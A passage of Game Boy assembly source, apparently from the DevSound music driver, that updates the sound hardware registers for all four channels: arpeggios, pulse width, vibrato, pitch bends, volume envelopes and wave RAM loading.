jr .directlyUpdateVolume
.dostop
call DevSound_Stop
.done
xor a
ld [FadeType],a
.updateVolume
ld a,[GlobalVolume]
.directlyUpdateVolume ; Call when volume is already known
and 7
ld b,a
swap a
add b
ldh [rNR50],a
CH1_UpdateRegisters:
ld a,[CH1Enabled]
and a
jp z,CH2_UpdateRegisters
ld a,[CH1NoteBackup]
ld [CH1Note],a
cp rest
jr nz,.norest
xor a
ldh [rNR12],a
if def(Visualizer)
ld [CH1OutputLevel],a
ld [CH1TempEnvelope],a
endc
ldh a,[rNR14]
or %10000000
ldh [rNR14],a
jp .done
.norest
; update arps
.updatearp
; Deflemask compatibility: if pitch bend is active, don't update arp and force the transpose of 0
if !def(DisableDeflehacks)
ld a,[CH1PortaType]
and a
jr z,.noskiparp
xor a
ld [CH1Transpose],a
jr .continue
endc
.noskiparp
ld hl,CH1ArpPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH1ArpPos]
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
cp $fe
jr nz,.noloop
ld a,[hl]
ld [CH1ArpPos],a
jr .updatearp
.noloop
cp $ff
jr z,.continue
cp $80
jr nc,.absolute
sla a
sra a
jr .donearp
.absolute
and $7f
ld [CH1Note],a
xor a
.donearp
ld [CH1Transpose],a
.noreset
ld a,[CH1ArpPos]
inc a
ld [CH1ArpPos],a
.continue
; update sweep
ld a,[CH1Sweep]
ldh [rNR10],a
; update pulse
ld hl,CH1PulsePtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH1PulsePos]
add l
ld l,a
jr nc,.nocarry2
inc h
.nocarry2
ld a,[hl+]
cp $ff
jr z,.updateNote
; convert pulse value
and 3 ; make sure value does not exceed 3
if def(Visualizer)
ld [CH1Pulse],a
endc
rrca ; rotate right
rrca ; "" ""
ldh [rNR11],a ; transfer to register
.noreset2
ld a,[CH1PulsePos]
inc a
ld [CH1PulsePos],a
ld a,[hl+]
cp $fe
jr nz,.updateNote
ld a,[hl]
ld [CH1PulsePos],a
; get note
.updateNote
ld a,[CH1PortaType]
cp 2
jr c,.skippitchbend
ld a,[CH1Reset]
bit 7,a
jr z,.pitchbend
.skippitchbend
ld a,[CH1Sweep]
and $70
jr z,.noskipsweep
ld a,[CH1Reset]
bit 7,a
jp z,.updateVolume
.noskipsweep
ld a,[CH1Transpose]
ld b,a
ld a,[CH1Note]
add b
ld c,a
ld b,0
ld hl,FreqTable
add hl,bc
add hl,bc
; get note frequency
ld a,[hl+]
ld e,a
ld a,[hl]
ld d,a
ld a,[CH1PortaType]
cp 2
jr c,.updateVibTable
ld a,e
ld [CH1TempFreq],a
ld a,d
ld [CH1TempFreq+1],a
.updateVibTable
ld a,[CH1VibDelay]
and a
jr z,.doVib
dec a
ld [CH1VibDelay],a
jr .setFreq
.doVib
ld hl,CH1VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH1VibPos]
add l
ld l,a
jr nc,.nocarry4
inc h
.nocarry4
ld a,[hl+]
cp $80
jr nz,.noloop2
ld a,[hl+]
ld [CH1VibPos],a
jr .doVib
.noloop2
ld [CH1FreqOffset],a
ld a,[CH1VibPos]
inc a
ld [CH1VibPos],a
jr .getPitchOffset
.pitchbend
ld a,[CH1PortaSpeed]
ld b,a
ld a,[CH1PortaType]
and 1
jr nz,.sub2
ld a,[CH1TempFreq]
add b
ld e,a
ld a,[CH1TempFreq+1]
jr nc,.nocarry6
inc a
.nocarry6
ld d,a
cp 8
jr c,.pitchbenddone
ld de,$7ff
jr .pitchbenddone
.sub2
ld a,[CH1TempFreq]
sub b
ld e,a
ld a,[CH1TempFreq+1]
jr nc,.nocarry7
dec a
.nocarry7
ld d,a
cp 8
jr c,.pitchbenddone
ld de,0
.pitchbenddone
ld hl,CH1TempFreq
ld a,e
ld [hl+],a
ld [hl],d
.getPitchOffset
ld a,[CH1FreqOffset]
bit 7,a
jr nz,.sub
add e
ld e,a
jr nc,.setFreq
inc d
jr .setFreq
.sub
ld c,a
ld a,e
add c
ld e,a
.setFreq
ld hl,CH1TempFreq
ld a,[CH1PortaType]
and a
jr z,.normal
dec a
ld a,e
jr nz,.donesetFreq
; toneporta
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH1PortaSpeed]
ld c,a
ld b,0
ld a,h
cp d
jr c,.lt
jr nz,.gt
ld a,l
cp e
jr z,.tonepordone
jr c,.lt
.gt
ld a,l
sub c
ld l,a
jr nc,.nocarry8
dec h
.nocarry8
ld a,h
cp d
jr c,.clamp
jr nz,.tonepordone
ld a,l
cp e
jr c,.clamp
jr .tonepordone
.lt
add hl,bc
ld a,h
cp d
jr c,.tonepordone
jr nz,.clamp
ld a,l
cp e
jr c,.tonepordone
.clamp
ld h,d
ld l,e
if def(Visualizer)
.tonepordone
ld a,l
ld [CH1TempFreq],a
ld [CH1ComputedFreq],a
ldh [rNR13],a
ld a,h
ld d,a ; for later restart uses
ld [CH1TempFreq+1],a
ld [CH1ComputedFreq+1],a
ldh [rNR14],a
jr .updateVolume
.normal
ld a,e
ld [hl+],a
ld [hl],d
.donesetFreq
ld [CH1ComputedFreq],a
ldh [rNR13],a
ld a,d
ld [CH1ComputedFreq+1],a
ldh [rNR14],a
else
.tonepordone
ld a,l
ld [CH1TempFreq],a
ldh [rNR13],a
ld a,h
ld d,a ; for later restart uses
ld [CH1TempFreq+1],a
ldh [rNR14],a
jr .updateVolume
.normal
ld a,e
ld [hl+],a
ld [hl],d
.donesetFreq
ldh [rNR13],a
ld a,d
ldh [rNR14],a
endc
; update volume
.updateVolume
ld hl,CH1Reset
res 7,[hl]
ld hl,CH1VolPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH1VolLoop]
inc a ; ended
jp z,.done
ld a,[CH1VolPos]
add l
ld l,a
jr nc,.nocarry5
inc h
.nocarry5
ld a,[hl+]
cp $ff
jr z,.loadlast
cp $fd
jp z,.done
ld b,a
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld a,[CH1ChanVol]
push hl
call MultiplyVolume
pop hl
ld a,[CH1VolLoop]
dec a
jr z,.zombieatpos0
ld a,[CH1VolPos]
and a
jr z,.zombinit
.zombieatpos0
endc
ld a,[CH1Vol]
cp b
jr z,.noreset3
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld c,a
ld a,b
ld [CH1Vol],a
if def(Visualizer)
ld [CH1OutputLevel],a
endc
sub c
and $f
ld c,a
ld a,8
.zombloop
ldh [rNR12],a
dec c
jr nz,.zombloop
jr .noreset3
.zombinit
endc
if def(Visualizer)
ld a,b
ld [CH1Vol],a
ld [CH1OutputLevel],a
swap a
or 8
ldh [rNR12],a
xor a
ld [CH1TempEnvelope],a
ld a,d
or $80
ldh [rNR14],a
else
ld a,b
ld [CH1Vol],a
swap a
or 8
ldh [rNR12],a
ld a,d
or $80
ldh [rNR14],a
endc
.noreset3
ld a,[CH1VolPos]
inc a
ld [CH1VolPos],a
ld a,[hl+]
cp $fe
jr nz,.done
ld a,[hl]
ld [CH1VolPos],a
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld a,1
ld [CH1VolLoop],a
endc
jr .done
.loadlast
ld a,[hl]
if !def(DemoSceneMode) && !def(DisableZombieMode)
push af
swap a
and $f
ld b,a
ld a,[CH1ChanVol]
call MultiplyVolume
swap b
pop af
and $f
or b
endc
ldh [rNR12],a
if def(Visualizer)
ld b,a
and $f
ld [CH1TempEnvelope],a
and $7
inc a
ld [CH1EnvelopeCounter],a
ld a,b
swap a
and $f
ld [CH1OutputLevel],a
endc
ld a,d
or $80
ldh [rNR14],a
ld a,$ff
ld [CH1VolLoop],a
.done
; ================================================================
CH2_UpdateRegisters:
ld a,[CH2Enabled]
and a
jp z,CH3_UpdateRegisters
if(UseFXHammer)
ld a,[$cff0]
cp 3
jr z,.norest
endc
ld a,[CH2NoteBackup]
ld [CH2Note],a
cp rest
jr nz,.norest
xor a
ldh [rNR22],a
if def(Visualizer)
ld [CH2OutputLevel],a
ld [CH2TempEnvelope],a
endc
ldh a,[rNR24]
or %10000000
ldh [rNR24],a
jp .done
.norest
; update arps
.updatearp
; Deflemask compatibility: if pitch bend is active, don't update arp and force the transpose of 0
if !def(DisableDeflehacks)
ld a,[CH2PortaType]
and a
jr z,.noskiparp
xor a
ld [CH2Transpose],a
jr .continue
endc
.noskiparp
ld hl,CH2ArpPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH2ArpPos]
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
cp $fe
jr nz,.noloop
ld a,[hl]
ld [CH2ArpPos],a
jr .updatearp
.noloop
cp $ff
jr z,.continue
cp $80
jr nc,.absolute
sla a
sra a
jr .donearp
.absolute
and $7f
ld [CH2Note],a
xor a
.donearp
ld [CH2Transpose],a
.noreset
ld a,[CH2ArpPos]
inc a
ld [CH2ArpPos],a
.continue
; update pulse
ld hl,CH2PulsePtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH2PulsePos]
add l
ld l,a
jr nc,.nocarry2
inc h
.nocarry2
ld a,[hl+]
cp $ff
jr z,.updateNote
; convert pulse value
and 3 ; make sure value does not exceed 3
if def(Visualizer)
ld [CH2Pulse],a
endc
rrca ; rotate right
rrca ; "" ""
if(UseFXHammer)
ld e,a
ld a,[$cff0]
cp 3
jp z,.noreset2
ld a,e
endc
ldh [rNR21],a ; transfer to register
.noreset2
ld a,[CH2PulsePos]
inc a
ld [CH2PulsePos],a
ld a,[hl+]
cp $fe
jr nz,.updateNote
ld a,[hl]
ld [CH2PulsePos],a
; get note
.updateNote
ld a,[CH2PortaType]
cp 2
jr c,.skippitchbend
ld a,[CH2Reset]
bit 7,a
jr z,.pitchbend
.skippitchbend
ld a,[CH2Transpose]
ld b,a
ld a,[CH2Note]
add b
ld c,a
ld b,0
ld hl,FreqTable
add hl,bc
add hl,bc
; get note frequency
ld a,[hl+]
ld e,a
ld a,[hl]
ld d,a
ld a,[CH2PortaType]
cp 2
jr c,.updateVibTable
ld a,e
ld [CH2TempFreq],a
ld a,d
ld [CH2TempFreq+1],a
.updateVibTable
ld a,[CH2VibDelay]
and a
jr z,.doVib
dec a
ld [CH2VibDelay],a
jr .setFreq
.doVib
ld hl,CH2VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH2VibPos]
add l
ld l,a
jr nc,.nocarry4
inc h
.nocarry4
ld a,[hl+]
cp $80
jr nz,.noloop2
ld a,[hl+]
ld [CH2VibPos],a
jr .doVib
.noloop2
ld [CH2FreqOffset],a
ld a,[CH2VibPos]
inc a
ld [CH2VibPos],a
jr .getPitchOffset
.pitchbend
ld a,[CH2PortaSpeed]
ld b,a
ld a,[CH2PortaType]
and 1
jr nz,.sub2
ld a,[CH2TempFreq]
add b
ld e,a
ld a,[CH2TempFreq+1]
jr nc,.nocarry6
inc a
.nocarry6
ld d,a
cp 8
jr c,.pitchbenddone
ld de,$7ff
jr .pitchbenddone
.sub2
ld a,[CH2TempFreq]
sub b
ld e,a
ld a,[CH2TempFreq+1]
jr nc,.nocarry7
dec a
.nocarry7
ld d,a
cp 8
jr c,.pitchbenddone
ld de,0
.pitchbenddone
ld hl,CH2TempFreq
ld a,e
ld [hl+],a
ld [hl],d
.getPitchOffset
ld a,[CH2FreqOffset]
bit 7,a
jr nz,.sub
add e
ld e,a
jr nc,.setFreq
inc d
jr .setFreq
.sub
ld c,a
ld a,e
add c
ld e,a
.setFreq
ld hl,CH2TempFreq
ld a,[CH2PortaType]
and a
jr z,.normal
dec a
ld a,e
jr nz,.donesetFreq
; toneporta
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH2PortaSpeed]
ld c,a
ld b,0
ld a,h
cp d
jr c,.lt
jr nz,.gt
ld a,l
cp e
jr z,.tonepordone
jr c,.lt
.gt
ld a,l
sub c
ld l,a
jr nc,.nocarry8
dec h
.nocarry8
ld a,h
cp d
jr c,.clamp
jr nz,.tonepordone
ld a,l
cp e
jr c,.clamp
jr .tonepordone
.lt
add hl,bc
ld a,h
cp d
jr c,.tonepordone
jr nz,.clamp
ld a,l
cp e
jr c,.tonepordone
.clamp
ld h,d
ld l,e
.tonepordone
if(UseFXHammer)
if def(Visualizer)
ld a,l
ld [CH2TempFreq],a
ld [CH2ComputedFreq],a
ld a,h
ld d,a ; for later restart uses
ld [CH2TempFreq+1],a
ld [CH2ComputedFreq+1],a
else
ld a,l
ld [CH2TempFreq],a
ld a,h
ld d,a ; for later restart uses
ld [CH2TempFreq+1],a
endc
ld a,[$cff0]
cp 3
jp z,.updateVolume
ld a,l
ldh [rNR23],a
ld a,h
ldh [rNR24],a
else
if def(Visualizer)
ld a,l
ld [CH2TempFreq],a
ld [CH2ComputedFreq],a
ldh [rNR23],a
ld a,h
ld d,a ; for later restart uses
ld [CH2TempFreq+1],a
ld [CH2ComputedFreq+1],a
ldh [rNR24],a
else
ld a,l
ld [CH2TempFreq],a
ldh [rNR23],a
ld a,h
ld d,a ; for later restart uses
ld [CH2TempFreq+1],a
ldh [rNR24],a
endc
endc
jr .updateVolume
.normal
ld a,e
ld [hl+],a
ld [hl],d
.donesetFreq
if(UseFXHammer)
ld a,[$cff0]
cp 3
ld a,e
jp z,.updateVolume
endc
if def(Visualizer)
ld [CH2ComputedFreq],a
ldh [rNR23],a
ld a,d
ld [CH2ComputedFreq+1],a
ldh [rNR24],a
else
ldh [rNR23],a
ld a,d
ldh [rNR24],a
endc
; update volume
.updateVolume
ld hl,CH2Reset
res 7,[hl]
ld hl,CH2VolPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH2VolLoop]
ld c,a
inc a ; ended
jp z,.done
ld a,[CH2VolPos]
add l
ld l,a
jr nc,.nocarry5
inc h
.nocarry5
ld a,[hl+]
cp $ff
jr z,.loadlast
cp $fd
jp z,.done
ld b,a
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld a,[CH2ChanVol]
push hl
call MultiplyVolume
pop hl
ld a,[CH2VolLoop]
dec a
jr z,.zombieatpos0
ld a,[CH2VolPos]
and a
jr z,.zombinit
.zombieatpos0
endc
ld a,[CH2Vol]
cp b
jr z,.noreset3
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld c,a
ld a,b
ld [CH2Vol],a
if def(Visualizer)
ld [CH2OutputLevel],a
endc
sub c
and $f
ld c,a
ld a,8
.zombloop
ldh [rNR22],a
dec c
jr nz,.zombloop
jr .noreset3
.zombinit
endc
if def(Visualizer)
ld a,b
ld [CH2Vol],a
ld [CH2OutputLevel],a
swap a
or 8
ldh [rNR22],a
xor a
ld [CH2TempEnvelope],a
ld a,d
or $80
ldh [rNR24],a
else
ld a,b
ld [CH2Vol],a
swap a
or 8
ldh [rNR22],a
ld a,d
or $80
ldh [rNR24],a
endc
.noreset3
ld a,[CH2VolPos]
inc a
ld [CH2VolPos],a
ld a,[hl+]
cp $fe
jr nz,.done
ld a,[hl]
ld [CH2VolPos],a
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld a,1
ld [CH2VolLoop],a
endc
jr .done
.loadlast
ld a,[hl]
if !def(DemoSceneMode) && !def(DisableZombieMode)
push af
swap a
and $f
ld b,a
ld a,[CH2ChanVol]
call MultiplyVolume
swap b
pop af
and $f
or b
endc
ldh [rNR22],a
if def(Visualizer)
ld b,a
and $f
ld [CH2TempEnvelope],a
and $7
inc a
ld [CH2EnvelopeCounter],a
ld a,b
swap a
and $f
ld [CH2OutputLevel],a
endc
ld a,d
or $80
ldh [rNR24],a
ld a,$ff
ld [CH2VolLoop],a
.done
; ================================================================
CH3_UpdateRegisters:
ld a,[CH3Enabled]
and a
jp z,CH4_UpdateRegisters
ld a,[CH3NoteBackup]
ld [CH3Note],a
cp rest
jr nz,.norest
xor a
ldh [rNR32],a
ld [CH3Vol],a
ld [CH3ComputedVol],a
ldh a,[rNR34]
or %10000000
ldh [rNR34],a
jp .done
.norest
; update arps
.updatearp
; Deflemask compatibility: if pitch bend is active, don't update arp and force the transpose of 0
if !def(DisableDeflehacks)
ld a,[CH3PortaType]
and a
jr z,.noskiparp
xor a
ld [CH3Transpose],a
jr .continue
endc
.noskiparp
ld hl,CH3ArpPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH3ArpPos]
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
cp $fe
jr nz,.noloop
ld a,[hl]
ld [CH3ArpPos],a
jr .updatearp
.noloop
cp $ff
jr z,.continue
cp $80
jr nc,.absolute
sla a
sra a
jr .donearp
.absolute
and $7f
ld [CH3Note],a
xor a
.donearp
ld [CH3Transpose],a
.noreset
ld a,[CH3ArpPos]
inc a
ld [CH3ArpPos],a
.continue
xor a
ldh [rNR31],a
or %10000000
ldh [rNR30],a
; get note
.updateNote
ld a,[CH3PortaType]
cp 2
jr c,.skippitchbend
ld a,[CH3Reset]
bit 7,a
jr z,.pitchbend
.skippitchbend
ld a,[CH3Transpose]
ld b,a
ld a,[CH3Note]
add b
ld c,a
ld b,0
ld hl,FreqTable
add hl,bc
add hl,bc
; get note frequency
ld a,[hl+]
ld e,a
ld a,[hl]
ld d,a
ld a,[CH3PortaType]
cp 2
jr c,.updateVibTable
ld a,e
ld [CH3TempFreq],a
ld a,d
ld [CH3TempFreq+1],a
.updateVibTable
ld a,[CH3VibDelay]
and a
jr z,.doVib
dec a
ld [CH3VibDelay],a
jr .setFreq
.doVib
ld hl,CH3VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH3VibPos]
add l
ld l,a
jr nc,.nocarry4
inc h
.nocarry4
ld a,[hl+]
cp $80
jr nz,.noloop2
ld a,[hl+]
ld [CH3VibPos],a
jr .doVib
.noloop2
ld [CH3FreqOffset],a
ld a,[CH3VibPos]
inc a
ld [CH3VibPos],a
jr .getPitchOffset
.pitchbend
ld a,[CH3PortaSpeed]
ld b,a
ld a,[CH3PortaType]
and 1
jr nz,.sub2
ld a,[CH3TempFreq]
add b
ld e,a
ld a,[CH3TempFreq+1]
jr nc,.nocarry6
inc a
.nocarry6
ld d,a
cp 8
jr c,.pitchbenddone
ld de,$7ff
jr .pitchbenddone
.sub2
ld a,[CH3TempFreq]
sub b
ld e,a
ld a,[CH3TempFreq+1]
jr nc,.nocarry7
dec a
.nocarry7
ld d,a
cp 8
jr c,.pitchbenddone
ld de,0
.pitchbenddone
ld hl,CH3TempFreq
ld a,e
ld [hl+],a
ld [hl],d
.getPitchOffset
ld a,[CH3FreqOffset]
bit 7,a
jr nz,.sub
add e
ld e,a
jr nc,.setFreq
inc d
jr .setFreq
.sub
ld c,a
ld a,e
add c
ld e,a
.setFreq
ld hl,CH3TempFreq
ld a,[CH3PortaType]
and a
jr z,.normal
dec a
ld a,e
jr nz,.donesetFreq
; toneporta
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH3PortaSpeed]
ld c,a
ld b,0
ld a,h
cp d
jr c,.lt
jr nz,.gt
ld a,l
cp e
jr z,.tonepordone
jr c,.lt
.gt
ld a,l
sub c
ld l,a
jr nc,.nocarry8
dec h
.nocarry8
ld a,h
cp d
jr c,.clamp
jr nz,.tonepordone
ld a,l
cp e
jr c,.clamp
jr .tonepordone
.lt
add hl,bc
ld a,h
cp d
jr c,.tonepordone
jr nz,.clamp
ld a,l
cp e
jr c,.tonepordone
.clamp
ld h,d
ld l,e
if def(Visualizer)
.tonepordone
ld a,l
ld [CH3TempFreq],a
ld [CH3ComputedFreq],a
ldh [rNR33],a
ld a,h
ld d,a ; for later restart uses
ld [CH3TempFreq+1],a
ld [CH3ComputedFreq+1],a
ldh [rNR34],a
jr .updateVolume
.normal
ld a,e
ld [hl+],a
ld [hl],d
.donesetFreq
ld [CH3ComputedFreq],a
ldh [rNR33],a
ld a,d
ld [CH3ComputedFreq+1],a
ldh [rNR34],a
else
.tonepordone
ld a,l
ld [CH3TempFreq],a
ldh [rNR33],a
ld a,h
ld d,a ; for later restart uses
ld [CH3TempFreq+1],a
ldh [rNR34],a
jr .updateVolume
.normal
ld a,e
ld [hl+],a
ld [hl],d
.donesetFreq
ldh [rNR33],a
ld a,d
ldh [rNR34],a
endc
.updateVolume
ld hl,CH3Reset
res 7,[hl]
ld hl,CH3VolPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH3VolPos]
add l
ld l,a
jr nc,.nocarry5
inc h
.nocarry5
ld a,[hl+]
cp $ff
jr z,.done
cp $fd
jr z,.done
ld b,a
if !def(DemoSceneMode)
ld a,[CH3ChanVol]
push hl
call MultiplyVolume
pop hl
endc
ld a,[CH3Vol]
cp b
if !def(DemoSceneMode) && !def(NoWaveVolumeScaling)
ld a,0
endc
jr z,.noreset3
ld a,b
ld [CH3Vol],a
if def(DemoSceneMode) || def(NoWaveVolumeScaling)
and a
ld b,a
jr z,.skip
cp 8
ld b,%00100000
jr nc,.skip
cp 4
ld b,%01000000
jr nc,.skip
ld b,%01100000
.skip
ld a,[CH3ComputedVol]
cp b
jr z,.noreset3
ld a,b
ld [CH3ComputedVol],a
ld [rNR32],a
ld a,d
or $80
ldh [rNR34],a
.noreset3
else
ld a,1
.noreset3
ld [WaveBufUpdateFlag],a
endc
ld a,[CH3VolPos]
inc a
ld [CH3VolPos],a
ld a,[hl+]
cp $fe
jr nz,.done
ld a,[hl]
ld [CH3VolPos],a
.done
; update wave
ld hl,CH3WavePtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH3WavePos]
add l
ld l,a
jr nc,.nocarry2
inc h
.nocarry2
ld a,[hl+]
cp $ff ; table end?
jr z,.updatebuffer
ld b,a
ld a,[CH3Wave]
cp b
if def(DemoSceneMode) || def(NoWaveVolumeScaling)
jr z,.noreset2
ld a,b
ld [CH3Wave],a
cp $c0
push hl
if def(DemoSceneMode)
jr z,.noreset2 ; if value = $c0, ignore (since this feature is disabled in DemoSceneMode)
else
ld hl,WaveBuffer
jr z,.wavebuf
endc
ld c,b
ld b,0
ld hl,WaveTable
add hl,bc
add hl,bc
ld a,[hl+]
ld h,[hl]
ld l,a
.wavebuf
call LoadWave
pop hl
ld a,d
or %10000000
ldh [rNR34],a
.noreset2
else
ld c,0
jr z,.noreset2
ld a,b
ld [CH3Wave],a
ld c,1
.noreset2
ld a,[WaveBufUpdateFlag]
or c
ld [WaveBufUpdateFlag],a
endc
ld a,[CH3WavePos]
inc a
ld [CH3WavePos],a
ld a,[hl+]
cp $fe
jr nz,.updatebuffer
ld a,[hl]
ld [CH3WavePos],a
.updatebuffer
if !def(DemoSceneMode)
call DoPWM
call DoRandomizer
if !def(NoWaveVolumeScaling)
ld a,[WaveBufUpdateFlag]
and a
jp z,.noupdate
ld a,[CH3Wave]
cp $c0 ; if value = $c0, use wave buffer
jr nz,.notwavebuf
ld bc,WaveBuffer
jr .multiplyvolume
.notwavebuf
ld c,a
ld b,0
ld hl,WaveTable
add hl,bc
add hl,bc
ld a,[hl+]
ld b,[hl]
ld c,a
.multiplyvolume
if def(Visualizer)
push bc
ld hl,VisualizerTempWave
ld e,16
.visuwavecopyloop
ld a,[bc]
inc bc
cpl
ld [hl+],a
dec e
jr nz,.visuwavecopyloop
pop bc
endc
ld a,[CH3Vol]
and a
jr z,.mute
cp 8
ld e,%00100000
jr nc,.skip
add a
inc a
cp 8
ld e,%01000000
jr nc,.skip
add a
inc a
ld e,%01100000
.skip
push de
srl a
push af
ld l, a
ld h, 0
add hl, hl ; x2
add hl, hl ; x4
add hl, hl ; x8
add hl, hl ; x16
ld de, VolumeTable
add hl, de
ld d,h
ld e,l
pop af
ld a,16
ld hl,ComputedWaveBuffer
jr nc,.multnormal
.multswapped
push af
ld a,[bc]
call MultiplyVolume_
swap a
and $f
ld [hl],a
ld a,[bc]
inc bc
swap a
call MultiplyVolume_
and $f0
or [hl]
ld [hl+],a
pop af
dec a
jr nz,.multswapped
jr .multdone
.multnormal
push af
ld a,[bc]
call MultiplyVolume_
and $f
ld [hl],a
ld a,[bc]
inc bc
swap a
call MultiplyVolume_
and $f
swap a
or [hl]
ld [hl+],a
pop af
dec a
jr nz,.multnormal
.multdone
pop de
ld a,e
.mute
ld [CH3ComputedVol],a
ld [rNR32],a
and a
call nz,LoadWave
xor a
ld [WaveBufUpdateFlag],a
ld a,d
or $80
ldh [rNR34],a
.noupdate
endc
endc
; ================================================================
CH4_UpdateRegisters:
ld a,[CH4Enabled]
and a
jp z,DoneUpdatingRegisters
if(UseFXHammer)
ld a,[$cff1]
cp 3
jr z,.norest
endc
ld a,[CH4ModeBackup]
ld [CH4Mode],a
cp rest
jr nz,.norest
xor a
ldh [rNR42],a
if def(Visualizer)
ld [CH4OutputLevel],a
ld [CH4TempEnvelope],a
endc
ldh a,[rNR44]
or %10000000
ldh [rNR44],a
jp .done
.norest
; update arps
.updatearp
ld hl,CH4NoisePtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH4NoisePos]
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
cp $fe
jr nz,.noloop
ld a,[hl]
ld [CH4NoisePos],a
jr .updatearp
.noloop
cp $ff
jr z,.continue
cp $80
jr nc,.absolute
sla a
sra a
jr .donearp
.absolute
and $7f
ld [CH4Mode],a
xor a
.donearp
ld [CH4Transpose],a
.noreset
ld a,[CH4NoisePos]
inc a
ld [CH4NoisePos],a
.continue
; update wave
if !def(DisableDeflehacks)
ld hl,CH4WavePtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH4WavePos]
add l
ld l,a
jr nc,.nocarry3
inc h
.nocarry3
ld a,[hl+]
cp $ff
jr z,.updateNote
ld [CH4Wave],a
ld a,[CH4WavePos]
inc a
ld [CH4WavePos],a
ld a,[hl+]
cp $fe
jr nz,.updateNote
ld a,[hl]
ld [CH4WavePos],a
endc
; get note
if def(DisableDeflehacks)
; don't do per noise mode arp clamping if deflemask compatibility mode
; is disabled so that relative arp with noise mode change is possible
.updateNote
ld a,[CH4Mode]
ld b,a
ld a,[CH4Transpose]
bit 7,a
jr nz,.minus
add b
cp 90
jr c,.noclamp
ld a,89
jr .noclamp
.minus
add b
cp 90
jr c,.noclamp
xor a
.noclamp
else
.updateNote
ld c,0
ld a,[CH4Mode]
cp 45
ld b,a
jr c,.noise15_2
sub 45
ld b,a
inc c
.noise15_2
ld a,[CH4Transpose]
bit 7,a
jr nz,.minus
cp 45
jr c,.noise15_3
sub 45
ld c,1
.noise15_3
add b
cp 45
jr c,.noclamp
ld a,44
jr .noclamp
.minus
add b
cp 45
jr c,.noclamp
xor a
.noclamp
ld b,a
ld a,[CH4Wave]
or c
and a
jr z,.noise15
ld a,45
.noise15
add b
endc
if def(Visualizer)
ld [CH4Noise],a
endc
ld hl,NoiseTable
add l
ld l,a
jr nc,.nocarry2
inc h
.nocarry2
if(UseFXHammer)
ld a,[$cff1]
cp 3
jr z,.updateVolume
endc
ld a,[hl+]
ldh [rNR43],a
; update volume
.updateVolume
ld hl,CH4Reset
res 7,[hl]
ld hl,CH4VolPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[CH4VolLoop]
cp $ff ; ended
jp z,.done
ld a,[CH4VolPos]
add l
ld l,a
jr nc,.nocarry5
inc h
.nocarry5
ld a,[hl+]
cp $ff
jr z,.loadlast
cp $fd
jp z,.done
ld b,a
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld a,[CH4ChanVol]
push hl
call MultiplyVolume
pop hl
ld a,[CH4VolLoop]
dec a
jr z,.zombieatpos0
ld a,[CH4VolPos]
and a
jr z,.zombinit
.zombieatpos0
endc
ld a,[CH4Vol]
cp b
jr z,.noreset3
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld c,a
ld a,b
ld [CH4Vol],a
if def(Visualizer)
ld [CH4OutputLevel],a
endc
sub c
and $f
ld c,a
ld a,8
.zombloop
ldh [rNR42],a
dec c
jr nz,.zombloop
jr .noreset3
.zombinit
endc
if def(Visualizer)
ld a,b
ld [CH4Vol],a
ld [CH4OutputLevel],a
swap a
or 8
ldh [rNR42],a
xor a
ld [CH4TempEnvelope],a
ld a,$80
ldh [rNR44],a
else
ld a,b
ld [CH4Vol],a
swap a
or 8
ldh [rNR42],a
ld a,$80
ldh [rNR44],a
endc
.noreset3
ld a,[CH4VolPos]
inc a
ld [CH4VolPos],a
ld a,[hl+]
cp $fe
jr nz,.done
ld a,[hl]
ld [CH4VolPos],a
if !def(DemoSceneMode) && !def(DisableZombieMode)
ld a,1
ld [CH4VolLoop],a
endc
jr .done
.loadlast
ld a,[hl]
if !def(DemoSceneMode)
push af
swap a
and $f
ld b,a
ld a,[CH4ChanVol]
call MultiplyVolume
swap b
pop af
and $f
or b
endc
ldh [rNR42],a
if def(Visualizer)
ld b,a
and $f
ld [CH4TempEnvelope],a
and $7
inc a
ld [CH4EnvelopeCounter],a
ld a,b
swap a
and $f
ld [CH4OutputLevel],a
endc
ld a,$80
ldh [rNR44],a
ld a,$ff
ld [CH4VolLoop],a
.done
DoneUpdatingRegisters:
pop hl
pop de
pop bc
pop af
ret
; ================================================================
; Wave routines
; ================================================================
LoadWave:
if !def(DemoSceneMode) && !def(NoWaveVolumeScaling)
ld hl,ComputedWaveBuffer
else
if def(Visualizer)
push hl
ld bc,VisualizerTempWave
ld e,16
.visuwavecopyloop
ld a,[hl+]
cpl
ld [bc],a
inc bc
dec e
jr nz,.visuwavecopyloop
pop hl
endc
endc
ldh a,[rNR51]
ld c,a
and %10111011
ldh [rNR51],a ; prevents spike
xor a
ldh [rNR30],a ; disable CH3
CUR_WAVE = waveBuffer
rept 16
ld a, [hl+] ; get byte from hl
ldh [CUR_WAVE], a ; copy to wave ram
CUR_WAVE = CUR_WAVE + 1
endr
ld a,%10000000
